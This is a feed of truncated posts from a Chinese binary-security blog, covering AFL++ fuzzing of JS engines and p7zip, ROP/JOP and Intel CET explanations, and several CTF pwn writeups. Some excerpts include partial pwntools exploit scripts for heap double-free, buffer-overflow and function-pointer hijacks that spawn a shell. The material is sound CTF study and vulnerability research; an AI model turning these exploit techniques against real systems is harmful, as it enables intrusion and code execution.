RiK's Blog - 二进制安全
type: channel
link: https://pwnerik.cn/category/binsec/
items: AFL++ Grammar Level Fuzzing on (Micro) QuickJS
items: RCTF 2025 bbox Writeup
items: RCTF 2025 mstr Writeup
items: 羊城杯 2025 初赛 Pwn Writeup
items: 从 ROP 到 JOP 攻击（amd64）
items: 再次尝试 Fuzzing —— JerryScript
items: Google CTF 2025 PlayBook Writeup
items: 首次尝试 Fuzzing —— p7zip
items: Intel CET (Shadow Stack + IBT) CFI 保护及其弱点
items: 京麒 CTF 初赛 Crew Manager Writeup

AFL++ Grammar Level Fuzzing on (Micro) QuickJS
type: item
date: 2026-01-20T09:41:00+00:00
description: 0. 起因2025.12.23 传奇程序员 Bellard（Qemu、ffmpeg、QuickJS、TCC... 原作者）发布了他的新作品 Micro QuickJS（mqjs），这是一个用于嵌入式系统上的 JS 引擎。既然是用纯 C 语言实现的，应该会有一些内存损坏漏洞吧。1. 准备 fuzzer组件我决定用 AFL++ 来运行模糊测试。AFL++ 直接使用的话，构造的是逐字节的随机输入，其中大多数都是无意义的乱码（即使配合 cmplog 等）。对于特定语言解释器来说，我们希望构造的输入能够真正被执行。编译原理告诉我们，从人类可读字符串到机器可执行的字节码或机器码需要经历至少三个阶段：词法分析、语法分析、语义分析。完全随机的输入无疑连词法分析都很难通过，更别说语法分析语义分析了。如果构造的输入根本没法运行，那我们就无法触及有关 VM 和 GC（垃圾回收释放内存）相关的更有价值的漏洞。西电网信院在大二有一门选修课就是编译原理，最后的大作业是 C 语言标准库手搓自定义绘图语言编译器，十分带劲。不过据说从 24 级开始这门课🈚️了。我感觉从 LLVM pass 上手会更有实用价值一些。而如果配合 Grammar-Mutator，我们就可以实现语法级的 fuzzing。我们只需要提供这个语言的语法的生成式，自动编译成自定义 mutator。AFL 运行时就会调用它来将先前的 seed 转变为 AST，再随机选择 AST 中的节点，根据生成式变异为另一个节点或子树，最后再根据 AST 生成代码作为新的 seed。（具体可以看这篇文章）当然，编译时 Address Sanitizer 也必不可少（-fsanitize=address）。我试过再加上 UB Sanitizer，但是随便一运行就爆了，难道到处都是 UB？问题修复一开始运行 Grammar-Mutator 有时会报错 _pick_non_term_node returns NULL 然后直接退出。不知道为什么它在极罕见情况下会找不到某个非终结符能够用来变异的生成式。遇到这种情况就不变异吧，直接把整个 AFL 停了真的好吗，，修改代码如下即可：diff --git a/src/tree_mutation.c b/src/tree_mutation.c index 68e91f9..62da2ed 100644 --- a/src/tree_mutation.c +++ b/src/tree_mutation.c @@ -39,8 +39,10 @@ tree_t *random_mutation(tree_t *tree) { if (unlikely(node == NULL)) { // By design, _pick_non_term_node should not return NULL - perror("_pick_non_term_node returns NULL"); - exit(EXIT_FAILURE); + // perror("_pick_non_term_node returns NULL"); + // exit(EXIT_FAILURE); + + return mutated_tree; } @@ -203,9 +205,10 @@ tree_t *splicing_mutation(tree_t *tree) { if (unlikely(node == NULL)) { // By design, _pick_non_term_node should not return NULL - perror("_pick_non_term_node returns NULL"); - exit(EXIT_FAILURE); + // perror("_pick_non_term_node returns NULL"); + // exit(EXIT_FAILURE); + return mutated_tree; } node_t *parent = node->parent;执行编写 fuzzing harness（参考）用于 persistent mode，同时按照 Grammar-Mutator 的官方文档编译好 mutator library，自动生成初始种子。我们在 aflplusplus/aflplusplus docker container 里用以下参数运行 AFL：while true; do AFL_DISABLE_TRIM=1 AFL_CUSTOM_MUTATOR_LIBRARY=./libgrammarmutator-javascript.so AFL_USE_ASAN=1 afl-fuzz -i seeds/ -o o…

RCTF 2025 bbox Writeup
type: item
date: 2025-12-15T16:37:00+00:00
description: RCTF 2025 pwn，继 mstr 之后再复现一个相对简单的 qemu escape bbox，如果有空的话再看看那个 v8pwn。（画饼ingChallenge附件 docker archive 中 qemu-system-x86_64 实现了一个自定义 PCI 设备 virtsec-device。借助 AI 可以很快还原两个关键的结构体：00000000 struct block // sizeof=0x18 00000000 { 00000000 unsigned int id; 00000004 unsigned int size; 00000008 unsigned int _pad1; 0000000C unsigned int offset; 00000010 unsigned int _pad2; 00000014 unsigned __int8 encrypted; 00000015 unsigned __int8 valid; 00000016 unsigned __int8 _pad3[2]; 00000018 }; 00000000 struct virtsec_device // sizeof=0x10E8 00000000 { 00000000 unsigned __int8 _pad0[3024]; 00000BD0 unsigned int status; 00000BD4 unsigned int session_id; 00000BD8 unsigned int error_code; 00000BDC unsigned __int8 _pad1[32]; 00000BFC unsigned int alloc_size; 00000C00 unsigned int _pad2[2]; 00000C08 struct block blocks[16]; 00000D88 unsigned int _pad3; 00000D8C unsigned int current_id; 00000D90 unsigned int merge_id1; 00000D94 unsigned int merge_id2; 00000D98 unsigned __int8 data[256]; 00000E98 void (*func_ptr)(void *); 00000EA0 void *func_arg; 00000EA8 unsigned __int8 _pad4[256]; 00000FA8 unsigned __int8 key_buffer[256]; 000010A8 unsigned int reg_10A8; 000010AC unsigned __int8 _pad6[36]; 000010D0 unsigned __int64 reg_10D0; 000010D8 unsigned __int64 reg_10D8; 000010E0 unsigned __int64 reg_10E0; 000010E8 };之后的逆向就比较轻松了。可以看到这个设备在 256 字节的空间里管理 16 个 blocks，每个块初始大小最高 0x10，但可以通过 merge 命令合并两个及多个块，直至 256 字节。设备还有 gift 寄存器，向其中写入任意内容后，设备将在设备结构体中紧随 data 之后分别写入 printf 函数指针和一个字符串指针，再次触发 gift 就会将后者作为首个参数执行前者。（另外还有 session、神秘 command 3 和 xor 加解密，不知道能干啥。）这个 PCI 设备通过 MMIO 交互，我们可以在 virtsec_class_init 找到 Vendor ID 0x1234和 Device ID 0x5678。在 qemu 虚拟机内执行 lspci 查询 PCI resource 路径（00:04.0 Class 0580: 1234:5678）。出题人非常贴心的在每个操作都输出了 log，要想看到 qemu_log 输出便于调试，可以添加 qemu 命令行参数 -d guest_errors -D qemu.log（qemu_loglevel_mask_64(2048) 是 LOG_GUEST_ERROR）。Bug问题出在块合并，merge 似乎没有任何长度检查，只要分配大于 16 个块合并在一起就能轻松拿到大于 256 字节的块，从而越界读写 gift。virtsec_free_block 提示 UAF 但其实应该没有。Exploit只需要将函数指针改成 system，参数改成 sh 就好了。然而由于某些神秘原因，直接向 offset 256 写入的…

RCTF 2025 mstr Writeup
type: item
date: 2025-11-21T03:05:00+00:00
description: 少见的 Python interpreter pwn，漏洞点也很有意思。ChallengePython 3.12.4import ctypes from typing import Union, List, Dict STRPTR_OFFSET = 0x28 LENPTR_OFFSET = 0x10 class MutableStr: pass class MutableStr: def __init__(self, data:str): self.data = data self.base_ptr = id(self.data) self.max_size_str = "" def set_max_size(self, max_size_str): if int(max_size_str) < ((len(self)+7) & ~7): self.max_size_str = max_size_str else: print("can't set max_size: too big") def __repr__(self): return self.data def __str__(self): return self.__repr__() def __len__(self): if self.base_ptr is None: return 0 ptr = ctypes.cast(self.base_ptr + LENPTR_OFFSET, ctypes.POINTER(ctypes.c_int64)) return ptr[0] def __getitem__(self, key:int): if not isinstance(key, int): raise NotImplementedError if key >= len(self) or key < 0: raise RuntimeError("get overflow") return self.data[key] def __setitem__(self, key:int, value:int): if not isinstance(value, int): raise NotImplementedError("only support integer value") if not isinstance(key, int): raise NotImplementedError("only support integer key") if key >= len(self) or key < 0: raise RuntimeError(f"set overflow: length:{len(self)}, key:{key}") strptr = ctypes.cast(self.base_ptr + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char)) strptr[key] = value def __add__(self, other:Union[str,MutableStr]): if isinstance(other, str): return MutableStr(self.data + other) if isinstance(other, MutableStr): return MutableStr(self.data + other.data) raise NotImplementedError() def _add_str(self, other): if self.max_size_str == "": max_size = (len(self)+7) & ~7 else: max_size = int(self.max_size_str) if len(self)+len(other) <= max_size: other_len = len(other) strptr = ctypes.cast(self.base_ptr + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char)) otherstrptr = ctypes.cast(id(other) + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char)) for i in range(other_len): strptr[i+len(self)] = otherstrptr[i] if len(self)+other_len < max_size: # strptr[len(self)+other_len] = 0 pass ctypes.cast(self.base_pt…

羊城杯 2025 初赛 Pwn Writeup
type: item
date: 2025-10-16T12:07:00+00:00
description: malloc自定义堆内存管理器。堆块结构：| Offset | Field | Description | |---------|----------------|------------------------------------| | +0 | in_use (1B) | 1 = allocated, 0 = free | | +1..7 | padding | for 8-byte alignment | | +8 | size (4B) | total size of the chunk | | +12..15 | padding | (align next pointer) | | +16 | next (8B) | pointer to next free chunk | | +16 | user data start| returned to caller (malloc result) |delete 时存在 UAF，且 double free 检测深度只有 13，而我们最多可以申请 16 个堆块。double free 后再多次 create 得到重叠堆块，修改 next 指针得到任意地址（目标地址 - 16）分配，从而任意地址读写。泄露 libc、stack 基地址后任意分配到栈上写 ROP，返回至提前布置好的 shellcode。程序沙箱禁用 execve 等系统调用，考虑 orw。Exp:#!/usr/bin/python from pwn import * from ctypes import * itob = lambda x: str(x).encode() print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}') context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='info') binary = './pwn' # io = process(binary) io = connect('45.40.247.139', 18565) e = ELF(binary) libc = ELF('./libc.so.6', checksec=False) # 0x0f < size <= 0x70 def create(index: int, size: int): io.sendlineafter(b'=======================\n', b'1') io.sendlineafter(b'Index\n', itob(index)) io.sendlineafter(b'size\n', itob(size)) def delete(index: int): io.sendlineafter(b'=======================\n', b'2') io.sendlineafter(b'Index\n', itob(index)) def edit(index: int, size: int, content: bytes): io.sendlineafter(b'=======================\n', b'3') io.sendlineafter(b'Index\n', itob(index)) io.sendlineafter(b'size\n', itob(size)) io.send(content) def show(index: int): io.sendlineafter(b'=======================\n', b'4') io.sendlineafter(b'Index\n', itob(index)) def exitit(): io.sendlineafter(b'=======================\n', b'5') for i in range(15): create(i, 0x10) for i in range(15): delete(i) delete(0) # double free show(14) # leak heap (elf) e.address = u64(io.recvline(False).ljust(8, b'\x00')) - 0x53a0 print_leaked('elf_base', e.address) create(0, 0x10) edit(0, 8, p64(e.sym['stdout'] - 16)) # `next` -> stdout for _ in range(16): create(…

从 ROP 到 JOP 攻击（amd64）
type: item
date: 2025-10-13T11:27:00+00:00
description: JOP 更像是对 ROP 的概念扩充而不是一个新的攻击方式，让我们先来回顾下熟悉的 amd64 ROP。在 ROP 中，我们大概可以将 gadgets 分为三类：传递参数或做准备的 gadgets（例如 pop rdi）、收集函数返回值的 gadgets（例如 mov rdi, rax）执行有意义操作的 gadgets（例如 system、orw、syscall、shellcode）。控制 ROP 本身的 gadgets（例如 ret、leave 栈迁移）以上 gadgets 通过 ret 指令和 rsp 寄存器串联起来。为了引出 JOP，我想到了一个好方法，一个“分解”x86 中较复杂指令的游戏：（下文 reg 表示任意通用寄存器，tmp 表示内部临时寄存器。）我们来“分解”pop reg 指令，它“等效”于 mov reg, qword ptr [rsp]; add rsp, 8。（我们忽略了对标志位的影响，如果考虑的话第二个指令应为 lea rsp, [rsp + 8]。）JOP 链的位置完全可以不在栈上，最终我们可以提炼出：mov reg1, qword ptr [reg2 + offset] 或 mov qword ptr [reg2 + offset], reg1（由于有 + offset，我们不需要 add，下同。）这就是 JOP 中类似 ROP 的“传参准备”或“收集结果”gadgets，例如考虑 reg1 是 rdi 的情况。reg2 就是 JOP 链基地址。但是可以看到这并不能构造链式执行。现在我们来“分解”ret 指令，它“等效”于 pop tmp; jmp tmp，由上文进而“展开”为 mov tmp, qword ptr [rsp]; add rsp, 8; jmp tmp，现在我们又提炼出：mov reg1, qword ptr [reg2 + offset] jmp reg1 或 call reg1 或 ...（跳转）我们只需预先在 reg2 + offset 位置布置好下一个 JOP gadget，这就是 JOP 中类似 ROP 的“控制”gadgets。把上述两部分拼起来，我们最终获得了和 ROP 相同的能力，无需与调用栈和函数返回挂钩。

再次尝试 Fuzzing —— JerryScript
type: item
date: 2025-08-20T06:15:00+00:00
description: 开始之前这段时间本来想入门 Chrome V8，学了一段时间发现 V8 还是太吃操作了……感觉应该先了解下比较简单的 JS 引擎。于是想着先从适合嵌入式设备的轻量 JS 引擎 JerryScript 开始玩起。正好看到 JerryScript 的 Issues 有好多关于漏洞的报告（无人在意说是），那就复现一下 fuzzing 漏洞挖掘吧。源码与编译git clone https://github.com/jerryscript-project/jerryscript cd jerryscript python tools/build.py编译 JerryScript 还是相当简单的，要想 fuzz 它，我们可以直接让 AFL 将文件作为参数传入然后等待崩溃。但是这样的 fuzz 是没有意义的，因为没有经过 AFL instruction。我们需要使用 afl-clang-lto 作为编译器。有关 AFL 的用法和原理，前人之述备矣，我就不赘述了。JerryScript 已经在 tools/build.py 为我们准备好了接入 libfuzzer 的编译选项，而 AFL 支持为 libfuzzer sanitized binary 启用 persistent mode。那么就用现成的就好。CC=afl-clang-lto python tools/build.py --libfuzzer=ON --compile-flag='-Wno-enum-enum-conversion' --strip=OFF CC=afl-clang-lto AFL_LLVM_CMPLOG=1 python tools/build.py --libfuzzer=ON --compile-flag='-Wno-enum-enum -conversion -fsanitize=address' --strip=OFF我们需要添加 -Wno-enum-enum-conversion 编译参数来防止高版本 clang 编译不通过。（如果要用高版本 gcc 编译的话，还需要添加 -Wno-unterminated-string-initialization，因为 jerry-core/ecma/builtin-objects/ecma-builtin-helpers-date.c 中的 day_names_p 和 month_names_p 没有考虑 C-style 字符串字面量 tailing NULL byte 占用的空间。）准备初始 corpus作为实验，我没有考虑太多，选用 test262 作为 JS 样本，去除其中的注释，就直接作为初始 corpus 了。我选用 AFL 作为 fuzzing 引擎。这对于 JS 引擎而言，效果不会好，但本来也只是实验性质的尝试。AFL 在 fuzz 过程中会根据这些文件不断通过各种策略构造新的输入，收集对于每个输入程序执行后的覆盖率，继续构造新的输入。import os import shutil import subprocess TEST262_REPO = "https://github.com/tc39/test262.git" CLONE_DIR = "test262" CORPUS_DIR = "corpus" NUM_FILES = 100 # Adjust how many files you want # Directories considered ES5 core tests ES5_TEST_DIRS = [ "test/built-ins", "test/language", "test/statements", "test/annexB" ] def clone_test262(): if not os.path.exists(CLONE_DIR): print("Cloning test262 repo...") subprocess.run(["git", "clone", TEST262_REPO], check=True) else: print("test262 repo already cloned.") def gather_es5_js_files(): js_files = [] for root, _, files in os.walk(CLONE_DIR): # Check if the file is inside one of the ES5 directories if any(es5_dir in root.replace("\\", "/") for es5_dir in ES5_TEST_DIRS): for file in files: if file.…

Google CTF 2025 PlayBook Writeup
type: item
date: 2025-07-03T03:57:00+00:00
description: struct PlayBook { int flags; // &1=used, &2=cmd, &4=note int sub_ids[10]; char note[0x200]; // 0x2c };nesting_depth 在结束后不会置零，创建和结束前也不会检查是不是 0。创建 playbook 的时候不写 ENDSTEP 的话 nesting_depth 就会大于 0 而且会保留到下次创建时。new_playbook 创建 playbook 处理嵌套时需要将 id 暂存在数组中，且该数组另有一个元素指针。用户输入读取长度 buf_size 是一个栈上的变量，与暂存 id 数组低地址相邻。（这里的变量分配很反常，大概是用了在栈上的结构体，强制改变了栈上变量布局。）这样可以改 buf_size 为一个 index 值，从而溢出 struct PlayBook 里的 char note[0x200] 改到高地址相邻 step 的 flags 和 note。先创建一大堆没用的 step 把 index 扩大到超过 0x205。Exp:# 1 ~ 575 (576) for _ in range(0x120): io.sendlineafter(b'5. Quit\n', b'2') # new io.sendlineafter(b'entry.\n', f'''STEP note: sh ENDSTEP '''.encode()) io.sendlineafter(b'5. Quit\n', b'3') # delete io.sendlineafter(b'id:\n', b'569') # id: 569 (570) io.sendlineafter(b'5. Quit\n', b'3') # delete io.sendlineafter(b'id:\n', b'571') # id: 571 (572) io.sendlineafter(b'5. Quit\n', b'3') # delete io.sendlineafter(b'id:\n', b'573') # id: 573 (574) io.sendlineafter(b'5. Quit\n', b'2') # new 569 570 571 io.sendlineafter(b'entry.\n', f'''STEP STEP ''') io.sendlineafter(b'5. Quit\n', b'2') # new 572 573 574 io.sendlineafter(b'entry.\n', f'''ENDSTEP ENDSTEP STEP STEP note: ''' + '\x03' * (0x204 + 40) + 'sh\n')我没有精确计算应该先分配多少 playbook，exp 里 0x120 之类的数字没有特别含义。不成对的 STEP、ENDSTEP 也许只需要一个，解题时我求稳将 nesting_depth 设置为 2。

首次尝试 Fuzzing —— p7zip
type: item
date: 2025-06-28T10:11:00+00:00
description: 第一次尝试使用 archlinux 的 p7zip PKGBULD，修改编译器为 afl-clang-lto(++) 。编译时发现一个函数指针类型转换的报错，用 -Wno-cast-function-type-strict 参数来抑制。准备了三个随便的 7z 文件，放进 input 文件夹直接开始。（@@ 表示输入文件目录，而不是从 stdin 输入）AFL_SKIP_CPUFREQ=1 afl-fuzz -i input -o output -- ./7zr x @@结果：🈚️（其实之后的所有尝试都没结果💦）第二次尝试准备了很多只有一个或几个文件，大小仅 100+ 字节的 7z 文件作为输入。AFL_SKIP_CPUFREQ=1 afl-fuzz -i input -o output -- ./7zr x @@ -y结果：覆盖率很快达到和第一次同样水平。第三次尝试了解到 7z 格式有 CRC 校验，估计大多数 fuzz 输入都死在校验上了。patch 源码去除校验：（应该使用 FUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION 宏）static inline bool TestStartCrc(const Byte *p) { (void)p; // 抑制 -Wunused-parameter return true; } if (CrcCalc(buffer2, nextHeaderSize_t) != nextHeaderCRC) ; if (CrcCalc(data, unpackSize) != folders.FolderCRCs.Vals[i]) ;添加 -fsanitize=address -g 编译选项。添加 -so 运行选项，这样不会在目录里拉💩。本来想加上 -si 参数从 stdin 输入压缩文件，应该可以大幅提升性能。但是 7z 格式竟然不支持，原因是 7z 有一部分文件头在文件末尾，解压前必须先读取。（意义不明...）把整个 fuzzing 项目文件夹放在 tmpfs 里应该会更快吧，虽然 afl 官网教程推荐 ext2 + noatime。因为现在基本是在实验，暂时懒得配置 ext2 环境了。AFL_USE_ASAN=1 AFL_SKIP_CPUFREQ=1 afl-fuzz -i input -o output -- ./7zr x @@ -y -so结果：本来不抱什么希望，睡了个午觉起来竟然就真的收集到了很多 crashes，但都是 OOM，没什么实际意义。（用 KDE Ark 打开其中某个 input，直接 coredump 了。）==589143==ERROR: AddressSanitizer: requested allocation size 0x207ffffffffffff (0x208000000001000 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0x10000000000 (thread T0) #0 0x6048688567e2 in operator new[](unsigned long) (/tmp/7zfuzz/7zr+0x1fa7e2) (BuildId: 8450a6b1d6712a80c42046efedb6d74eb798c38d) #1 0x604868c0e1e0 in CBuffer<unsigned char>::Alloc(unsigned long) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../Archive/7z/../../Common/../../Common/MyBuffer.h:72:18 #2 0x604868c1f5bd in NArchive::N7z::CInArchive::ReadAndDecodePackedStreams(unsigned long, unsigned long&, CObjectVector<CBuffer<unsigned char>>&, ICryptoGetTextPassword*, bool&, bool&, UString&) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../Archive/7z/7zIn.cpp:1187:10 #3 0x604868c280ce in NArchive::N7z::CInArchive::ReadDatabase2(NArchive::N7z::CDbEx&, ICryptoGetTextPa…

Intel CET (Shadow Stack + IBT) CFI 保护及其弱点
type: item
date: 2025-06-02T06:46:00+00:00
description: Intel CETIntel CET（Controlflow Enforcement Technology / 控制流加固技术）CFI（Control Flow Integrity / 控制流完整性）检查是近些年兴起的保护机制，其中包含 SHSTK（SHadow STacK）和 IBT（Indirect Branch Tracking），Intel Tiger Lake（11 代）及以上 CPU 才支持。SHSTK 是一种后向控制流完整性（Backward-edge CFI）检查（简单来说是在“返回”时的检查），一般需要硬件支持。程序运行时在不同内存映射中同时维护两个调用栈，一个是众所周知的栈区，另一个是新增的“影子栈”，只存储返回地址。CPU 在过程调用与返回时将同时操作两个栈，如果在返回时发现正常调用栈的返回地址与影子栈中的不同就产生异常。这样一来只通过栈缓冲区溢出等方式修改栈上函数返回值以劫持控制流的方式就失效了，也就是所有 ROP 攻击都将失效。IBT 是一种前向控制流完整性（Forward-edge CFI）检查（简单来说是在“调用”时的检查）。CPU 每当执行间接调用及跳转时都检查目标的指令是否为 endbr64/32，如果是就不执行任何操作（类似 nop），如果不是就产生异常。这样一来大幅削弱了 COP / JOP 攻击。Forward-edge CFI 可以在软件层面模拟，例如 Windows CFG、Clang CFI 等，但是会大幅降低程序性能，每次虚函数调用等都需要校验，实用价值有限。目前 Windows 只支持 Shadow Stack（Windows CFG），还不支持以 endbr 指令为基础的 IBT（存疑，Windows 我不熟悉）；Linux 上也几乎没有程序启用这项保护，算是高度实验性的功能吧。不过 SHSTK 保护很可能在未来成为继 RELRO、Stack Canary、NX、ASLR (PIE) 后又一项常见的用户态保护机制。下文即将提到的 COOP 攻击对于未来的 Pwner 可能也会是像 ROP 一样必学的攻击方式？（Hackergame 2024 中有一道开启了 SHSTK 和 IBT 的 Pwn 题，但好像没开 ASLR，解法是直接篡改 shadow stack 本身再 ROP。）验证 Intel CET 是否可用接下来是在 Linux 上实验启用 CET 的具体操作，主要是 Shadow Stack。首先需要内核启用 CET 特性，Linux 6.2 默认启用 IBT，Linux 6.6 正式合并 SHSTK。在命令行中验证启用状态：$ sudo dmesg | grep CET [ 0.111658] CET detected: Indirect Branch Tracking enabled $ cat /proc/cpuinfo | grep shstk flags : ... user_shstk ... $ cat /proc/cpuinfo | grep ibt flags : ... ibt ...验证某程序是否在编译时启用 CET：$ readelf -n <application> | grep -a SHSTK Properties: x86 feature: IBT, SHSTK $ readelf -n <application> | grep -a IBT Properties: x86 feature: IBT, SHSTKGCC / glibc 环境启用 Intel CETGlibc 已经在其 ld.so 中初步支持 Intel CET 保护。我的环境：CPU: 13th Gen Intel(R) Core(TM) i7-13700H (20) @ 5.00 GHz Kernel: 6.14.7-zen2-1-zen (archlinux) glibc: GNU C Library (GNU libc) stable release version 2.41如果自己的电脑没有 Intel CET 软硬件支持，推荐使用 eqqie 学长开发的 qemu 插件（github）。我的电脑由于恰好满足所有条件，所以我图方便直接实机测试了比较粗暴。开虚拟环境总是对的。编译时使用 gcc 编译时添加以下编译参数：gcc -fcf-protection=full运行时目前 glibc 动态链接器 ld.so 默认不启用 Intel CET 特性（见源码），需要设置以下环境变量以强制启用：GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK将以上环…

京麒 CTF 初赛 Crew Manager Writeup
type: item
date: 2025-05-27T05:38:00+00:00
description: glibc 2.39 菜单堆。逆向得出堆块结构体：struct Member { int64_t backup_size; char* backup; char name[0x20]; char department[0x18]; int32_t level; int32_t index; int64_t create_time; uint64_t checksum; };写出各功能交互模板：itob = lambda x: str(x).encode() print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}') def manage(index: int): """index < 0x10""" io.sendlineafter(b'Choice: ', b'1') io.sendlineafter(b'index: ', itob(index)) def crew_add(index: int, name: bytes, department: bytes, backup_size: int, backup: bytes): """sizeof(name) <= 0x1f, sizeof(department) <= 0x17, backup_size <= 0x500""" manage(index) io.sendlineafter(b'Name: ', name) io.sendlineafter(b'Department: ', department) io.sendlineafter(b'32: ', itob(backup_size)) io.sendafter(b'data: ', backup) def crew_edit(index: int, name: bytes, department: bytes): manage(index) io.sendlineafter(b'> ', b'1') io.sendlineafter(b'Name: ', name) io.sendlineafter(b'department: ', department) def crew_promote(index: int): manage(index) io.sendlineafter(b'> ', b'2') def crew_demote(index: int): manage(index) io.sendlineafter(b'> ', b'3') def crew_delete(index: int): manage(index) io.sendlineafter(b'> ', b'4') def crew_randomize(index: int): manage(index) io.sendlineafter(b'> ', b'5') def crew_summary(): io.sendlineafter(b'Choice: ', b'2') def backup(index: int): io.sendlineafter(b'Choice: ', b'3') io.sendlineafter(b'Index: ', itob(index)) def backup_view(index: int): backup(index) io.sendlineafter(b'> ', b'1') def backup_edit(index: int, data: bytes): backup(index) io.sendlineafter(b'> ', b'2') io.sendafter(b'content: ', data) def backup_invert(index: int): backup(index) io.sendlineafter(b'> ', b'3') def global_init(global_data: bytes): """sizeof(global_data) <= 0x200""" io.sendlineafter(b'Choice: ', b'4') io.sendlineafter(b'>: ', b'1') io.sendafter(b'global data: ', global_data) def global_view(): io.sendlineafter(b'Choice: ', b'4') io.sendlineafter(b'>: ', b'2') def global_free(): io.sendlineafter(b'Choice: ', b'4') io.sendlineafter…